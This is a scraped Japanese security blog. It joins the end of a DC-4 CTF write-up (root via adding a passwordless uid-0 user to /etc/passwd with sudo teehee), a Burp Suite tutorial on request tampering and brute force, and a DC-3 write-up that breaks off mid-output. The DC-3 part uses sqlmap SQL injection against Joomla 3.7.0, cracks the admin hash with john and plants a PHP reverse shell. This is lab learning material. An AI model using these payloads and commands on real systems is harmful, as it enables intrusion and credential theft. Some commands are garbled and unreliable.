Return-path: <jim@dc-4>
Received: from jim by dc-4 with local (Exim 4.89)
        (envelope-from <jim@dc-4>)
        id 1mMkjW-0000bk-SG
        for root@dc-4; Sun, 05 Sep 2021 15:30:22 +1000
To: root@dc-4
Auto-Submitted: auto-generated
Subject: *** SECURITY information for dc-4 ***
From: Jim <jim@dc-4>
Message-Id: <E1mMkjW-0000bk-SG@dc-4>
Date: Sun, 05 Sep 2021 15:30:22 +1000

dc-4 : Sep  5 15:30:22 : jim : user NOT in sudoers ; TTY=pts/0 ; PWD=/home/jim ; USER=root ; COMMAND=/bin/su -


--1630819822-eximdsn-1804289383--

charlesのパスワードがわかった。パスワードは、 ^xHhA&hvim0y
jimから、charlesにユーザーを変更する。
sudo -lとは、 sudoを実行するユーザーに許可されているコマンドを一覧表示する。
そこで、hackという新しいユーザーを作り、echoとteeheeを使用してetc / passwdにhackを追加する。

jim@dc-4:/var/mail$ su charles
Password: 
charles@dc-4:/tmp$sudo -l
charles@dc-4:/tmp$ echo "raaj :: 0:0 ::: / bin / bash" | sudo teehee -a / etc / passwd
teehee: /: Is a directory
teehee: /: Is a directory
raaj :: 00 ::: / bin / bash
charles@dc-4:/tmp$ su raaj
root@dc-4:/tmp#

となり、rootになれた。

フラグ取得

root@dc-4:/# cd root
root@dc-4:/root# ls
flag.txt



888       888          888 888      8888888b.                             888 888 888 888 
888   o   888          888 888      888  "Y88b                            888 888 888 888 
888  d8b  888          888 888      888    888                            888 888 888 888 
888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888 
888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888 
88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P 
8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   "  
888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888 


Congratulations!!!

Hope you enjoyed DC-4.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.

参考にさせてもらった記事

ozuma.hatenablog.jp

atmarkit.itmedia.co.jp

Burpsuiteの使い方

今回は、Burpsuiteの使い方について書いて行きたいと思います。

自分が所有していない機器には、絶対に使用してはいけません。

各種情報セキュリティ関連法令に引っかかります。

また、責任を負いかねます。

Burpsuiteとは

まず、Burpsuiteとは何か説明していきたいと思います。

Burpsuiteとは、ローカルプロキシの役割をします。

詳しく説明すると、ブラウザとWEBサーバーの間に入り、情報の改ざんや入力された内容を見ることができるGUIセキュリティツールです。

Burpsuiteは有償の製品版と無料のコミュニティ版がありますが、コミュニティ版でも十分に使うことができます。

また、OSはlinuxWindowsMacに対応しています。

 

Burpsuiteのダウンロード方法は、公式サイトに飛べば分かるのでここでは、割愛して、burpsuiteの具体的な使い方について書いていきます。

portswigger.net

 

入力された内容を覗き見

Burpsuiteを開いたら、

f:id:QWERTYtan:20210904213228p:plain

プロジェクトとして保存してければ、New projectを押して、入力。

特に保存したくなければ何も変更せずに、nextを押します。

次も一緒。

f:id:QWERTYtan:20210904213730p:plain

この画面になったら、上から2段目の列のProxyを押します。

f:id:QWERTYtan:20210904213844p:plain

ここでは、自分のpcにローカルプロキシを立ち上げてBurpsiteの動きを知るだけなので、openbrowserを押して、ブラウザを開く。

では、早速ブラウザに入力された内容を覗き見していきます。

上で立ち上げたブラウザで、評価したいサイトにアクセスします。

f:id:QWERTYtan:20210905110009p:plain

ここに入力していきます。

ちなみに、burpsuiteの「intersept is on」は、通信をキャプチャしている状態で、

「forward」は、開いたブラウザに適用

drop」は、キャプチャを破棄

「action」タブで細かな設定ができます。

試しに、Username:の欄にadminと書き込んでみます。

f:id:QWERTYtan:20210905110449p:plain

すると、burpsuiteでブラウザからサーバーにリクエストされた内容が表示されます。

username=adminとなっていてburpsuiteを使用することによってサーバーにリクエストされた内容を覗き見できました。

 

 

情報の改ざん

情報の改ざんは、usernameとpasswordの部分を書き換えることができるというものです。

改ざんしたい箇所にカーソルを持っていき、普通のテキスト編集と同じ様に簡単に編集することができます。

ここでは、usernameをadminからqwertyに。passwordを空欄からuiopに書き換えました。

f:id:QWERTYtan:20210905111026p:plain

そして、forwardをクリックしてサーバーに編集したリクエストを送ることができます。

その結果の反映はここではブラウザに返されます。

 

パスワードの特定

qwertyユーザーのpasswordを特定しようとします。

改ざんするデータをProxyタブのInterceptで見つけたら、
テキストフォーム内で該当データを選択し、Send to Intruder を押します。

Intruderに移動します。

Positionsから調査するパスワードのパラメータを選び§§ではさみます。

f:id:QWERTYtan:20210905111836p:plain


Payloadタブへ移動します。

・パスワードをブルートフォースで調べたい場合

Payload typeでBrute forcerを選択して

Min lengthとMax lengthをお好みの値に変更して右上のStart Attackをクリックします。

 

・自分が持っていワードリストを使いたい場合

Payload typeでsimple listを選択して、

Payload OptionsのLoadで使いたいワードリストを選択します。

そして、右上のStart Attackをクリックします。

 

 

もし、passwordが当たった場合は、Lengthが他とは異なる数値を返すので、それがパスワードだと分かります。

 

 

終わり

ここでは、CTFで使うこともあるBurp suiteについて書いてきました。

ここまで読んでいただいた方ありがとうございました。

お疲れ様でした。

 

 

参考にさせていただいたサイト

qiita.com

 

 

豆知識

他ののpcのプロキシとして起動したい場合は、Intruderのipを対象のpcに変えればできます。

f:id:QWERTYtan:20210905105416p:plain

 

 

DC-3 Write up

攻撃者は、kaliを使ってます。

今回の攻撃の流れ
・攻撃される側のIPやウェブディレクトリを調べる
脆弱性をついた攻撃(SQLインジェクション)で、ユーザー名とパスワードを取得
CMSへのログイン
・リバースシェルをつくる
・リバースシェル経由でWEBサーバーにログイン
・権限昇格の脆弱性を探す/攻撃
・root権限にて/rootに侵入し、フラグをゲットする。



まずは、定番の攻撃される側のipとnmapの実施

 Currently scanning: 192.168.10.0/16   |   Screen View: Unique Hosts                                       
                                                                                                           
 6 Captured ARP Req/Rep packets, from 5 hosts.   Total size: 324                                           
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.3.1     30:f7:72:be:b9:b9      1      42  Hon Hai Precision Ind. Co.,Ltd.                         
 192.168.3.2     10:6f:3f:e6:28:40      2     120  BUFFALO.INC                                             
 192.168.3.12    70:bc:10:6a:f6:c1      1      42  Microsoft Corporation                                   
 192.168.3.20    08:00:27:ab:aa:6e      1      60  PCS Systemtechnik GmbH                                  
 192.168.3.16    44:09:b8:8c:f4:72      1      60  Salcomp (Shenzhen) CO., LTD.                            

                                                                                                            
┌──(root💀snowyowl)-[~/dirsearch]
└─# nmap -sS -A -Pn 192.168.3.20 -p-                                                                  130 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-03 12:09 JST
Nmap scan report for 192.168.3.20
Host is up (0.00072s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
MAC Address: 08:00:27:AB:AA:6E (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.72 ms 192.168.3.20

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds

DC-3がWebサーバーだと分かったので、niktoとdirsearchで公開webディレクトリを探索する。

                                                                                                            
┌──(root💀snowyowl)-[~/dirsearch]
└─# nikto -h 192.168.3.20           
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.3.20
+ Target Hostname:    192.168.3.20
+ Target Port:        80
+ Start Time:         2021-09-03 12:09:49 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-8193: /index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc: EW FileManager for PostNuke allows arbitrary file retrieval.
+ OSVDB-3092: /administrator/: This might be interesting...
+ OSVDB-3092: /bin/: This might be interesting...
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3092: /tmp/: This might be interesting...
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /htaccess.txt: Default Joomla! htaccess.txt file found. This should be removed or renamed.
+ /administrator/index.php: Admin login page/section found.
+ 8726 requests: 0 error(s) and 17 item(s) reported on remote host
+ End Time:           2021-09-03 12:11:01 (GMT9) (72 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                                                                                                            
┌──(root💀snowyowl)-[~/dirsearch]
└─# ls
banner.txt       db            Dockerfile   logs       requirements.txt  static
CHANGELOG.md     default.conf  __init__.py  README.md  setup.cfg         thirdparty
CONTRIBUTORS.md  dirsearch.py  lib          reports    setup.py
                                                                                                            
┌──(root💀snowyowl)-[~/dirsearch]
└─# python3 dirsearch.py -u http://192.168.3.20/

  _|. _ _  _  _  _ _|_    v0.4.2                                                                            
 (_||| _) (/_(_|| (_| )                                                                                     
                                                                                                            
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/dirsearch/reports/192.168.3.20/-_21-09-03_12-11-29.txt

Error Log: /root/dirsearch/logs/errors-21-09-03_12-11-29.log

Target: http://192.168.3.20/

[12:11:29] Starting: 
[12:11:32] 403 -  298B  - /.ht_wsr.txt                                     
[12:11:32] 403 -  301B  - /.htaccess.bak1
[12:11:32] 403 -  301B  - /.htaccess.orig
[12:11:32] 403 -  303B  - /.htaccess.sample
[12:11:32] 403 -  301B  - /.htaccess.save
[12:11:32] 403 -  301B  - /.htaccess_orig                                  
[12:11:32] 403 -  300B  - /.htaccessOLD2
[12:11:32] 403 -  299B  - /.htaccess_sc
[12:11:32] 403 -  302B  - /.htaccess_extra
[12:11:32] 403 -  291B  - /.htm
[12:11:32] 403 -  299B  - /.htaccessOLD
[12:11:32] 403 -  299B  - /.htaccessBAK
[12:11:32] 403 -  292B  - /.html
[12:11:32] 403 -  298B  - /.httr-oauth
[12:11:32] 403 -  297B  - /.htpasswds
[12:11:32] 403 -  301B  - /.htpasswd_test
[12:11:33] 403 -  291B  - /.php                                            
[12:11:33] 403 -  292B  - /.php3                                           
[12:11:37] 200 -   18KB - /LICENSE.txt                                      
[12:11:37] 200 -    4KB - /README.txt                                       
[12:11:47] 301 -  320B  - /administrator  ->  http://192.168.3.20/administrator/
[12:11:47] 403 -  310B  - /administrator/.htaccess                          
[12:11:47] 200 -    2KB - /administrator/includes/                          
[12:11:47] 200 -   31B  - /administrator/cache/
[12:11:47] 200 -    5KB - /administrator/                                   
[12:11:47] 301 -  325B  - /administrator/logs  ->  http://192.168.3.20/administrator/logs/
[12:11:47] 200 -   31B  - /administrator/logs/
[12:11:47] 200 -    5KB - /administrator/index.php                          
[12:11:51] 301 -  310B  - /bin  ->  http://192.168.3.20/bin/                
[12:11:51] 200 -   31B  - /bin/
[12:11:52] 200 -   31B  - /cache/                                           
[12:11:52] 301 -  312B  - /cache  ->  http://192.168.3.20/cache/
[12:11:53] 200 -   31B  - /cli/                                             
[12:11:53] 301 -  317B  - /components  ->  http://192.168.3.20/components/  
[12:11:53] 200 -   31B  - /components/                                      
[12:11:54] 200 -    0B  - /configuration.php                                
[12:12:02] 200 -    3KB - /htaccess.txt                                     
[12:12:03] 301 -  313B  - /images  ->  http://192.168.3.20/images/          
[12:12:03] 200 -   31B  - /images/
[12:12:03] 301 -  315B  - /includes  ->  http://192.168.3.20/includes/      
[12:12:03] 200 -   31B  - /includes/                                        
[12:12:04] 200 -    8KB - /index.php                                        
[12:12:06] 301 -  315B  - /language  ->  http://192.168.3.20/language/      
[12:12:06] 200 -   31B  - /layouts/                                         
[12:12:06] 200 -   31B  - /libraries/                                       
[12:12:06] 301 -  316B  - /libraries  ->  http://192.168.3.20/libraries/    
[12:12:09] 301 -  312B  - /media  ->  http://192.168.3.20/media/            
[12:12:09] 200 -   31B  - /media/                                           
[12:12:10] 301 -  314B  - /modules  ->  http://192.168.3.20/modules/        
[12:12:10] 200 -   31B  - /modules/                                         
[12:12:17] 200 -   31B  - /plugins/                                         
[12:12:17] 301 -  314B  - /plugins  ->  http://192.168.3.20/plugins/        
[12:12:20] 200 -  836B  - /robots.txt.dist                                  
[12:12:22] 403 -  300B  - /server-status                                    
[12:12:22] 403 -  301B  - /server-status/
[12:12:27] 301 -  316B  - /templates  ->  http://192.168.3.20/templates/    
[12:12:27] 200 -   31B  - /templates/
[12:12:27] 200 -    0B  - /templates/beez3/                                 
[12:12:27] 200 -   31B  - /templates/index.html
[12:12:27] 200 -    0B  - /templates/protostar/                             
[12:12:27] 200 -    0B  - /templates/system/                                
[12:12:28] 301 -  310B  - /tmp  ->  http://192.168.3.20/tmp/                
[12:12:29] 200 -   31B  - /tmp/                                             
[12:12:32] 200 -    2KB - /web.config.txt                                   
                                                                             
Task Completed

また、このCMS(Joomla)専用のセキュリティツールがあるのでそれを使って詳細を調べる。


┌──(root💀snowyowl)-[~/dirsearch]
└─# joomscan -u http://192.168.20/
    ____  _____  _____  __  __  ___   ___    __    _  _ 
   (_  _)(  _  )(  _  )(  \/  )/ __) / __)  /__\  ( \( )
  .-_)(   )(_)(  )(_)(  )    ( \__ \( (__  /(__)\  )  ( 
  \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
                        (1337.today)
   
    --=[OWASP JoomScan
    +---++---==[Version : 0.0.7
    +---++---==[Update Date : [2018/09/23]
    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP

Processing http://192.168.3.20/ ...



[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.7.0

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing
[++] directory has directory listing : 
http://192.168.3.20/administrator/components
http://192.168.3.20/administrator/modules
http://192.168.3.20/administrator/templates
http://192.168.3.20/images/banners
                                                                                                            
                                                                                                            
[+] Checking apache info/status files                                                                       
[++] Readable info/status files are not found                                                               
                                                                                                            
[+] admin finder                                                                                            
[++] Admin page : http://192.168.3.20/administrator/                                                        
                                                                                                            
[+] Checking robots.txt existing                                                                            
[++] robots.txt is not found                                                                                
                                                                                                            
[+] Finding common backup files name                                                                        
[++] Backup files are not found                                                                             
                                                                                                            
[+] Finding common log files name                                                                           
[++] error log is not found                                                                                 
                                                                                                            
[+] Checking sensitive config.php.x file                                                                    
[++] Readable config files are not found                                                                    
                                                                                                            
                                                                                                            
Your Report : reports/192.168.3.20/ 


上に実行してきた結果から、Joomlaのバージョンが分かったので、それに関する脆弱性をついたものがないのか調べる。

┌──(root💀snowyowl)-[~]
└─# searchsploit "Joomla 3.7.0"
-------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                            |  Path
-------------------------------------------------------------------------- ---------------------------------
Joomla! 3.7.0 - 'com_fields' SQL Injection                                | php/webapps/42033.txt
Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting             | php/webapps/43488.txt
-------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

                                                                        
                                                                                                                                        
     

SQLインジェクションが見つかった。 www.exploit-db.com SQLインジェクションのテンプレが書いてあるのでこれを使用する。↓

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

実際に使っていくfullorderingは、ここはこのまま使う。

┌──(root💀snowyowl)-[~]
└─# sqlmap -u "http://192.168.3.20/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.5.7#stable}
|_ -| . [']     | .'| . |                                                                                   
|___|_  [,]_|_|_|__,|  _|                                                                                   
      |_|V...       |_|   http://sqlmap.org                                                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:25:55 /2021-09-03/

[12:25:55] [INFO] fetched random HTTP User-Agent header value 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)' from file '/usr/share/sqlmap/data/txt/user-agents.txt'                                                                                
[12:25:55] [INFO] resuming back-end DBMS 'mysql' 
[12:25:55] [INFO] testing connection to the target URL
[12:25:55] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('460ada11b31d3c5e5ca6e58fd5d3de27=pt7u81sacce...hsvbocmn87'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: list[fullordering] (GET)
    Type: error-based
    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(UPDATEXML(1743,CONCAT(0x2e,0x717a787871,(SELECT (ELT(1743=1743,1))),0x71626b6a71),2253))

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 9285 FROM (SELECT(SLEEP(5)))oGde)
---
[12:25:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.10 or 16.04 (xenial or yakkety)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.1
[12:25:59] [INFO] fetching database names
[12:25:59] [INFO] resumed: 'information_schema'
[12:25:59] [INFO] resumed: 'joomladb'
[12:25:59] [INFO] resumed: 'mysql'
[12:25:59] [INFO] resumed: 'performance_schema'
[12:25:59] [INFO] resumed: 'sys'
available databases [5]:
[*] information_schema
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys

[12:25:59] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[12:25:59] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.3.20'

[*] ending @ 12:25:59 /2021-09-03/

データベースが分かったので、そのなかのjoomladbの中のテーブルを表示する。

┌──(root💀snowyowl)-[~]
└─# sqlmap -u "http://192.168.3.20/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables                                      
        ___
       __H__                                                                                                
 ___ ___[.]_____ ___ ___  {1.5.7#stable}                                                                    
|_ -| . [.]     | .'| . |                                                                                   
|___|_  [.]_|_|_|__,|  _|                                                                                   
      |_|V...       |_|   http://sqlmap.org                                                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:28:57 /2021-09-03/

[12:28:57] [INFO] fetched random HTTP User-Agent header value 'Opera/9.00 (X11; Linux i686; U; de)' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[12:28:57] [INFO] resuming back-end DBMS 'mysql' 
[12:28:57] [INFO] testing connection to the target URL
[12:28:58] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('460ada11b31d3c5e5ca6e58fd5d3de27=shu32a83a3i...vqs1g25h14'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: list[fullordering] (GET)
    Type: error-based
    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(UPDATEXML(1743,CONCAT(0x2e,0x717a787871,(SELECT (ELT(1743=1743,1))),0x71626b6a71),2253))

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 9285 FROM (SELECT(SLEEP(5)))oGde)
---
[12:29:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.10 or 16.04 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.1
[12:29:00] [INFO] fetching tables for database: 'joomladb'
Database: joomladb
[76 tables]
+---------------------+
| #__assets           |
| #__associations     |
| #__banner_clients   |
| #__banner_tracks    |
| #__banners          |
| #__bsms_admin       |
| #__bsms_books       |
| #__bsms_comments    |
| #__bsms_locations   |
| #__bsms_mediafiles  |
| #__bsms_message_typ |
| #__bsms_podcast     |
| #__bsms_series      |
| #__bsms_servers     |
| #__bsms_studies     |
| #__bsms_studytopics |
| #__bsms_teachers    |
| #__bsms_templatecod |
| #__bsms_templates   |
| #__bsms_timeset     |
| #__bsms_topics      |
| #__bsms_update      |
| #__categories       |
| #__contact_details  |
| #__content_frontpag |
| #__content_rating   |
| #__content_types    |
| #__content          |
| #__contentitem_tag_ |
| #__core_log_searche |
| #__extensions       |
| #__fields_categorie |
| #__fields_groups    |
| #__fields_values    |
| #__fields           |
| #__finder_filters   |
| #__finder_links_ter |
| #__finder_links     |
| #__finder_taxonomy_ |
| #__finder_taxonomy  |
| #__finder_terms_com |
| #__finder_terms     |
| #__finder_tokens_ag |
| #__finder_tokens    |
| #__finder_types     |
| #__jbsbackup_timese |
| #__jbspodcast_times |
| #__languages        |
| #__menu_types       |
| #__menu             |
| #__messages_cfg     |
| #__messages         |
| #__modules_menu     |
| #__modules          |
| #__newsfeeds        |
| #__overrider        |
| #__postinstall_mess |
| #__redirect_links   |
| #__schemas          |
| #__session          |
| #__tags             |
| #__template_styles  |
| #__ucm_base         |
| #__ucm_content      |
| #__ucm_history      |
| #__update_sites_ext |
| #__update_sites     |
| #__updates          |
| #__user_keys        |
| #__user_notes       |
| #__user_profiles    |
| #__user_usergroup_m |
| #__usergroups       |
| #__users            |
| #__utf8_conversion  |
| #__viewlevels       |
+---------------------+

[12:29:00] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[12:29:00] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.3.20'

[*] ending @ 12:29:00 /2021-09-03/

usersのテーブルが怪しいので、ここの中にuser名とpasswordのカラムがないかを調べて、あったら表示される。

┌──(root💀snowyowl)-[~]
└─# sqlmap -u "http://192.168.3.20/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -T '#__users' -C name,password --dump
        ___
       __H__                                                                                                
 ___ ___[']_____ ___ ___  {1.5.7#stable}                                                                    
|_ -| . [(]     | .'| . |                                                                                   
|___|_  [']_|_|_|__,|  _|                                                                                   
      |_|V...       |_|   http://sqlmap.org                                                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:37:44 /2021-09-03/

[12:37:44] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/526.3 (KHTML, like Gecko) Chrome/14.0.564.21 Safari/526.3' from file '/usr/share/sqlmap/data/txt/user-agents.txt'                                                                                               
[12:37:44] [INFO] resuming back-end DBMS 'mysql' 
[12:37:44] [INFO] testing connection to the target URL
[12:37:44] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('460ada11b31d3c5e5ca6e58fd5d3de27=8d3l6tqthp3...9qk5fv1qh4'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: list[fullordering] (GET)
    Type: error-based
    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(UPDATEXML(1743,CONCAT(0x2e,0x717a787871,(SELECT (ELT(1743=1743,1))),0x71626b6a71),2253))

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 9285 FROM (SELECT(SLEEP(5)))oGde)
---
[12:37:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (xenial or yakkety)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.1
[12:37:46] [INFO] fetching tables for database: 'joomladb'
Database: joomladb
[76 tables]
+---------------------+
| #__assets           |
| #__associations     |
| #__banner_clients   |
| #__banner_tracks    |
| #__banners          |
| #__bsms_admin       |
| #__bsms_books       |
| #__bsms_comments    |
| #__bsms_locations   |
| #__bsms_mediafiles  |
| #__bsms_message_typ |
| #__bsms_podcast     |
| #__bsms_series      |
| #__bsms_servers     |
| #__bsms_studies     |
| #__bsms_studytopics |
| #__bsms_teachers    |
| #__bsms_templatecod |
| #__bsms_templates   |
| #__bsms_timeset     |
| #__bsms_topics      |
| #__bsms_update      |
| #__categories       |
| #__contact_details  |
| #__content_frontpag |
| #__content_rating   |
| #__content_types    |
| #__content          |
| #__contentitem_tag_ |
| #__core_log_searche |
| #__extensions       |
| #__fields_categorie |
| #__fields_groups    |
| #__fields_values    |
| #__fields           |
| #__finder_filters   |
| #__finder_links_ter |
| #__finder_links     |
| #__finder_taxonomy_ |
| #__finder_taxonomy  |
| #__finder_terms_com |
| #__finder_terms     |
| #__finder_tokens_ag |
| #__finder_tokens    |
| #__finder_types     |
| #__jbsbackup_timese |
| #__jbspodcast_times |
| #__languages        |
| #__menu_types       |
| #__menu             |
| #__messages_cfg     |
| #__messages         |
| #__modules_menu     |
| #__modules          |
| #__newsfeeds        |
| #__overrider        |
| #__postinstall_mess |
| #__redirect_links   |
| #__schemas          |
| #__session          |
| #__tags             |
| #__template_styles  |
| #__ucm_base         |
| #__ucm_content      |
| #__ucm_history      |
| #__update_sites_ext |
| #__update_sites     |
| #__updates          |
| #__user_keys        |
| #__user_notes       |
| #__user_profiles    |
| #__user_usergroup_m |
| #__usergroups       |
| #__users            |
| #__utf8_conversion  |
| #__viewlevels       |
+---------------------+

[12:37:46] [INFO] fetching entries of column(s) 'name,password' for table '#__users' in database 'joomladb'
[12:37:46] [INFO] resumed: 'admin'
[12:37:46] [INFO] resumed: '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu'
Database: joomladb
Table: #__users
[1 entry]
+-------+--------------------------------------------------------------+
| name  | password                                                     |
+-------+--------------------------------------------------------------+
| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+-------+--------------------------------------------------------------+

[12:37:46] [INFO] table 'joomladb.`#__users`' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.3.20/dump/joomladb/#__users.csv'                                                                             
[12:37:46] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[12:37:46] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.3.20'

[*] ending @ 12:37:46 /2021-09-03/

表示されたので、adminのpasswordをjohnを使って解読する。

$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
snoopy           (?)

これをjohnで解析すると、admin:snoopyと分かる。 そこで、このユーザー名とパスワードを使ってサイトにログインする。 f:id:QWERTYtan:20210903131221p:plain ログインできた リバースシェルをつくる。 index2.phpを新しく作って、これをリバースシェルにする。 リバースシェルの作成、及びペイロード

┌──(root💀snowyowl)-[~]
└─# locate php-reverse-shell.php
/usr/share/beef-xss/modules/exploits/m0n0wall/php-reverse-shell.php
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php

┌──(root💀snowyowl)-[~]
└─# nc -lvp 666

無事にペイロードができたので、少し探索してみようと思う。 /etc/passwdにパスワードがハッシュ値で書かれている場合が多いので、まずはここをチェックする。

meterpreter > cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
